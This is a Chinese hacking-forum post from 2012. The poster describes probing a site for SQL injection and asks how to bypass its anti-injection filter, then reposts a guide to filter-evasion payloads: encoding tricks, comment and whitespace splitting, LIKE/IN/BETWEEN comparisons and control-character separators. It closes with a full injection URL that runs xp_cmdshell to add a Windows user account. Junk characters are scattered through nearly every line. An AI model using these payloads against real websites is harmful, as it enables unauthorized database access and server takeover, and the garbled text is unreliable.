找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2671|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.; d& V/ G/ P' N) t- M. P% G
http://www.xxx.cn/Article.asp?ID=117 and 1=1, q" q# H2 U3 F' v5 y- ]& C% g
直接返回主页
. g, [/ i+ ?5 K- c8 W4 }, V& Fhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
) ~! x* ]4 [' d1 t+ X9 o6 }5 f0 Q直接返回主页
9 o2 I0 X4 r# M- F6 T7 ^http://www.xxx.cn/Article.asp?ID=117 or3 {. r) G9 D9 l8 e
没有返回主页 没有过滤or8 o5 D" ~  @9 U6 b! y
http://www.xxx.cn/Article.asp?ID=117 and% b/ m8 y5 I, B6 H2 A
直接返回主页 看来过滤了and  B7 Z3 l% ?' A
http://www.xxx.cn/Article.asp?ID=117 or 18 y& x4 ^1 p. F9 z
没有返回主页 即没有过滤or 也没有过滤1. t7 |+ B0 t( k- M
http://www.xxx.cn/Article.asp?ID=117 or 1=14 c, ?: l; S+ U2 R& e
直接返回主页 很明显过滤了等号
0 {/ t! O. G' q! n8 Qor的特性是与and相反的.9 l! G1 I; P& `, P8 e1 G) {# l- [
or 1=1 爆错 或与原页面不同
3 j+ A% D! O& Z( ]$ Vor 1=2 原页面相同. _0 V$ K+ X( J- h' d
这样就是一个注入点" q/ ]1 y. ]% X# S0 M) K
但他过滤了=号 我就用><号代替=号吧!* G. J- Z% Q; l6 t. V& e: Y3 I' l
or 1<2 很明显是正确的,所以应该与原页面不同) J8 T" Z. G! `# y* i% D2 H5 C
or 1>2 很明显是错误的,所以应该与原页面相同
% N% v  G0 _# \" X. h然后看看有没有过滤其他的查询语句,比如select.
. A: v* F: _) s. _http://www.xxx.cn/Article.asp?ID=117 select5 f+ {+ I1 K7 {4 U
直接返回主页
! \6 b/ u! O- A又迷茫了..
- C4 a: L4 @" j/ i$ c
! b0 d) n5 \; h, T" k; {+ i6 V+ @- n) U
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
+ u. V8 c7 r8 X- R) U4 V, c这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)  d7 q$ ]* F  ?. s8 v
================================================0 U% a9 }. F" _; T: d. z
以下是转贴:/ `% F6 J3 R$ O' B  y, a, J! `+ |
5 e  j$ k0 _$ d7 t
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
! g* o7 u5 ?5 c& T经过我的收集,大部分的防注入程序都过滤了以下关键字:
" \- \" u' m$ \$ X' Oand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
( F+ X7 a5 H+ \' n/ h* e而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
* i; {& w3 H! x1 ^/ z对于关键字的过滤,以下是我收集的以及我个人的一些想法。
0 G' j6 J3 @0 \8 t+ g1、运用编码技术绕过
; b. r; m: o4 V$ v6 G0 N如URLEncode编码,ASCII编码绕过。例如or 1=1即 + e2 }# L$ [+ R' t3 j+ A
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ! Q) [4 P; g: H. G4 H
  x$ `# r2 ~6 G' w0 Q
2、通过空格绕过
, [/ w8 a5 R3 F6 m5 M6 D8 b% Z6 Y如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
8 a: a6 k, e- ?2 F6 z, J% M4 l. Yor’ swords’ =‘swords’
! A5 m4 k. |" H0 ~, k,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 - Q" c7 b/ w8 D5 i  M
3、运用字符串判断代替
5 G0 L% ]6 W3 O5 h用经典的or 1=1判断绕过,如 2 E2 w1 S6 ^; ~
or ’swords’ =’swords’
1 F; A) `% F. r" j; S4 Q,这个方法就是网上在讨论的。 % ~' d5 ^* d; `% G# O
4、通过类型转换修饰符N绕过
7 S* \& B4 h. d/ ?  H% y* _& D可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
3 x& D6 I: S7 B( M5、通过+号拆解字符串绕过 & ]: f8 d2 {' _* E7 U' C7 ]
效果值得考证,但毕竟是一种方法。如 5 G* ^* I  ~3 }+ E5 h2 h
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
8 t( u6 j0 r5 d- M% m, T! Y) b& ^1 Y. [, |
6、通过LIKE绕过 / z0 \9 V* E" a
以前怎么就没想到呢?如or
$ D8 r3 t9 T( N’swords’ LIKE ’sw’
- e6 `. f& X7 k' G& B8 p!!!显然可以很轻松的绕过
0 H2 o/ f1 s% G8 l8 `+ ?“=”“>” $ a# U, e3 e6 N7 k& c
的限制……
2 m0 S  u3 h+ W0 {7、通过IN绕过
& N4 c7 t7 A, t; R与上面的LIKE的思路差不多,如 . `$ E' }; R& S) g$ l: `( y+ E; ~
or ’swords’ IN (’swords’)
7 w: j! `- E* R: r/ g" P. g' q3 ^/ n3 I  _* R+ X
8、通过BETWEEN绕过 ( `# J, e, a# }; R! A2 E% i
) \6 j7 a: ?4 l: j- O$ q
or ’swords’ BETWEEN ’rw’ AND ’tw’ ' ]$ E( m& A5 u. U# X0 `2 s3 {

7 ?1 G( B% w) ^) \5 v( _% H1 a9、通过>或者<绕过
/ y( n) x: v; T0 Y9 Q* e# kor ’swords’ > ’sw’
' N# p8 [8 ^' ?or ’swords’ < ’tw’ - G: g4 `* I9 |- _
or 1<3
6 j0 o  ?; {9 o! F9 Y! E' Y…… & u5 J, R/ C1 q" x. |( J
10、运用注释语句绕过
, F5 Q( i4 X) G. N' K( E0 Q用/**/代替空格,如: & S0 R& y" f) I# \! l& K
UNION /**/ Select /**/user,pwd,from tbluser
) d) h& I0 V7 ^" K2 o# _  ]1 f. t0 S+ o% H0 T7 ^
用/**/分割敏感词,如: 9 o5 \3 P. c2 I6 x% A1 [; D
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
" x1 o5 N  F* d$ t, M/ D
% N2 K  ~; Y; N/ C3 U11、用HEX绕过,一般的IDS都无法检测出来 7 [; Y; C5 K. M( C* x$ z" V
0x730079007300610064006D0069006E00 =hex(sysadmin) * C; @, b& _% k* B
0x640062005F006F0077006E0065007200 =hex(db_owner) 5 H0 h7 ?; i- k+ {% m: N% @
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: : T" }4 ~  l9 N' e5 b3 @& y$ U! J
  declare @a sysname - l/ I: W. d( L. ~
  select @a=
/ Y2 F; x& @8 N. q/ P  exec master.dbo.xp_cmdshell @a   B7 i& F" K1 I8 M5 R! {
效果 ! @/ L( i8 L' y' B
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 7 d, U0 P( x. L" S, w* t
! q1 e: N7 f  Q1 U. Z6 {  [
其中的 6 D7 a: ?$ {  i: G& b3 `
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
$ a6 N7 t9 `% r6 Z  n4 C就是
; ]) Q5 K: P4 v( J% Q4 x  S“net user angel pass /add”
. }# @& F6 g; ]! v- [/ G, Q* q. e$ `
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
1 A. Z8 c' p' O  n引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。: ]9 ]8 m0 b. T2 n$ Z/ O) @0 v
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
7 J. _0 a) ~: T) L4 X$ {Copy code
- `) O5 I7 p* \& z$ {. \select * from table exec xp_cmdshell'xxxxxxxxxx'
) T8 L% r9 W4 `0 p8 B6 K2 \+ |1 \; |" H
$ \9 R; q8 P8 d( {2 f# U2 W
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
5 Y  J1 u: u- m3 I) h5 u  Q. h8 K4 U, g2 v3 Q+ k( G

( y/ s. F9 Z, {' H- ^' B) h' Dselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
* L# O1 \6 p3 t! O
- H: n' ~7 G! g6 b# s5 v9 }
& b4 ^& m2 v! H( iselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
6 N% T: |# {/ c! a- J1 ]+ Z
, l$ r8 f6 b7 W" E7 N/ |的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
7 |& z: o5 N. r9 K1 s, H. N- v/ v/ Z2 b8 H$ R. p
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
! W$ W7 A3 Q" C8 f可能大家早就知道了,不管怎么说,发在这里吧!/ l! j% t) \0 `9 |' ]( o

; C' l* Q( ^8 N! i最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
. n+ u. B5 y! H
* m, _  B0 A+ J/ @7 D
0 p$ k# J8 L: D, b6 W3 n$ i/ C5 b" R
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,2 d0 M! O: L7 H
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
( J& c  e/ C& }3 P& \3 j
; B# h% U9 ~3 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表